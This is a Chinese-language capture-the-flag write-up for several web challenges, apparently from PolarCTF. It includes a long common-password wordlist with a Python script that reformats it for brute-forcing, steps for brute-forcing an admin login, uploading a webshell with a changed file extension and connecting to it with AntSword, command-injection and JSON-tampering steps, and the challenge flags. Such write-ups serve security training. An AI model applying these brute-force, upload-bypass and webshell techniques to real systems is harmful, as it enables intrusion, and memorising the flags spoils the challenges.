123456 123456789 123123 111111 anhyeuem 1234567 12345678 000000 asdasd 25251325 1234567890 121212 123321 zxcvbnm qweqwe 456789 112233 aaaaaa 123123123 987654321 11111111 qwerty 147258369 maiyeuem 123qwe 654321 iloveyou 123654 999999 qqqqqq 1111111 147258 hota407 anhtuan 222222 159753 11223344 anhnhoem anh123 159357 qwertyuiop asd123 987654321 emyeuanh mmmmmm 12345 666666 anhanh 123789 phuong 111222 qweasd hanoiyeudau nguyen 789456 1111111111 mylove 789456123 19001560 qwe123 asdfghjkl pppppp anhhung 1234560 abc123 maiyeu 123456a zzzzzz quangninh 987654 555555 tuananh asasas asdfgh zxcvbn 321321 tinhyeu 147852369 456123 matkhau 147852 12345678910 thienthan nikel anhyeu 111111111 toilatoi 10cham0 147258369 456456 khongbiet 789789 P0la2adm1n a123456 333333 888888 123654789 truong maimaiyeuem hhhhhh User john admin alice bob administrator user wackopicko adam sample 123456 Password password 12345678 qwerty 12345 letmein 1234567 football iloveyou admin welcome monkey login abc123 starwars dragon passw0rd p@ssword p@ssw0rd master hello freedom whatever qazwsx trustno1
?user1[]=1&user2[]=2
回到这个页面,查看源码找到密码Admin1234!
抓包管理员登录请求,给用户名添加上payload
把字典复制上去
# 把得到的字典换成一行一个,爆破备用
def replace_spaces_with_newlines(input_string):
"""
将字符串中的空格替换为换行符
参数:
input_string (str): 包含空格的输入字符串
返回:
str: 空格被替换为换行符的字符串
"""
return input_string.replace(' ', '\n')
# 你提供的密码列表
password_list = """123456 123456789 123123 111111 anhyeuem 1234567 12345678 000000 asdasd 25251325 1234567890 121212 123321 zxcvbnm qweqwe 456789 112233 aaaaaa 123123123 987654321 11111111 qwerty 147258369 maiyeuem 123qwe 654321 iloveyou 123654 999999 qqqqqq 1111111 147258 hota407 anhtuan 222222 159753 11223344 anhnhoem anh123 159357 qwertyuiop asd123 987654321 emyeuanh mmmmmm 12345 666666 anhanh 123789 phuong 111222 qweasd hanoiyeudau nguyen 789456 1111111111 mylove 789456123 19001560 qwe123 asdfghjkl pppppp anhhung 1234560 abc123 maiyeu 123456a zzzzzz quangninh 987654 555555 tuananh asasas asdfgh zxcvbn 321321 tinhyeu 147852369 456123 matkhau 147852 12345678910 thienthan nikel anhyeu 111111111 toilatoi 10cham0 147258369 456456 khongbiet 789789 P0la2adm1n a123456 333333 888888 123654789 truong maimaiyeuem hhhhhh User john admin alice bob administrator user wackopicko adam sample 123456 Password password 12345678 qwerty 12345 letmein 1234567 football iloveyou admin welcome monkey login abc123 starwars dragon passw0rd p@ssword p@ssw0rd master hello freedom whatever qazwsx trustno1"""
# 处理密码列表
processed_list = replace_spaces_with_newlines(password_list)
# 打印结果
print(processed_list)
# 可选:将结果保存到文件
with open('password_list.txt', 'w', encoding='utf-8') as f:
f.write(processed_list)
123456
123456789
123123
111111
anhyeuem
1234567
12345678
000000
asdasd
25251325
1234567890
121212
123321
zxcvbnm
qweqwe
456789
112233
aaaaaa
123123123
987654321
11111111
qwerty
147258369
maiyeuem
123qwe
654321
iloveyou
123654
999999
qqqqqq
1111111
147258
hota407
anhtuan
222222
159753
11223344
anhnhoem
anh123
159357
qwertyuiop
asd123
987654321
emyeuanh
mmmmmm
12345
666666
anhanh
123789
phuong
111222
qweasd
hanoiyeudau
nguyen
789456
1111111111
mylove
789456123
19001560
qwe123
asdfghjkl
pppppp
anhhung
1234560
abc123
maiyeu
123456a
zzzzzz
quangninh
987654
555555
tuananh
asasas
asdfgh
zxcvbn
321321
tinhyeu
147852369
456123
matkhau
147852
12345678910
thienthan
nikel
anhyeu
111111111
toilatoi
10cham0
147258369
456456
khongbiet
789789
P0la2adm1n
a123456
333333
888888
123654789
truong
maimaiyeuem
hhhhhh
User
john
admin
alice
bob
administrator
user
wackopicko
adam
sample
123456
Password
password
12345678
qwerty
12345
letmein
1234567
football
iloveyou
admin
welcome
monkey
login
abc123
starwars
dragon
passw0rd
p@ssword
p@ssw0rd
master
hello
freedom
whatever
qazwsx
trustno1
点击"开始攻击",得到管理员正确的用户名和密码
username=P0la2adm1n&password=Admin1234!
登录
查看源码,可上传txt
后缀文件
上传后缀txt
的木马文件,抓包改后缀
上传成功,用御剑进行目录扫描,扫到uploads
目录,猜测木马上传到该目录下
用蚁剑连接,找到flag字典
flag{I6uQcqEnBeLSkaiiO7Jj}
flag{DdVfhGznB7jKIN3aEsIG}
flag{3PyIEGNacI2P4kXCMq0t}
flag{JAAe9i4jvika1cASV7Nf}
flag{B4iOY9RSC3Ijc3H7JnWu}
flag{dkeUibYmmgJuEhWI60MW}
flag{Ouj1q1mIvxhRrue6lxH6}
flag{T4PwCg1RrQNsO4EcrQmU}
......
点击"Flag认证系统"
抓包字典爆破
这条认证成功,即为flag:flag{T4PwCg1RrQNsO4EcrQmU}
39.background
考点:
- RCE
- http协议
题目来源:polarctf-web-[background]
解题:
点击按钮后没反应,f12查看网络流量包,观察到存在一个可疑js
script.js
访问script.js
document.getElementById("change-bg-btn").onclick = function() { # 给change-bg-btn元素绑定点击事件
fetch("change_background.php", { # 点击后向"change_background.php"页面发送请求
method: "POST", # 请求方式
headers: {
'Content-Type': 'application/x-www-form-urlencoded', # 请求头,表示为表单格式
},
body: new URLSearchParams({ # 请求体包含两个参数,根据默认值猜测为命令执行
d: "echo",
p: "I will do it!"
})
})
.then(response => response.text())
.then(text => {
const lines = text.split('\n');
const background = lines[0]; // 第一行是背景图路径
const message = lines.slice(1).join('\n'); // 其余是输出信息
document.body.style.backgroundImage = `url(${background})`;
document.getElementById("result").innerText = message;
根据审计进行payload构造
看到根目录下存在flag,直接查看,获得flag
最终flag
flag{cc59f02fd69119d043f8b06d0ab3eb3f}
40.井字棋
考点:
http协议
题目来源:[polarctf]-web-[井字棋]
解题:
抓包发现传递了json数据
{"winner":"ai"}
猜测游戏机制根据这个json判断胜负,查看源码,发现有两种玩家:
player
和ai
将胜利者改为player
,发包得到flag
最终flag
flag{288CCA1ADB228E10EED4BFD85AC544B8}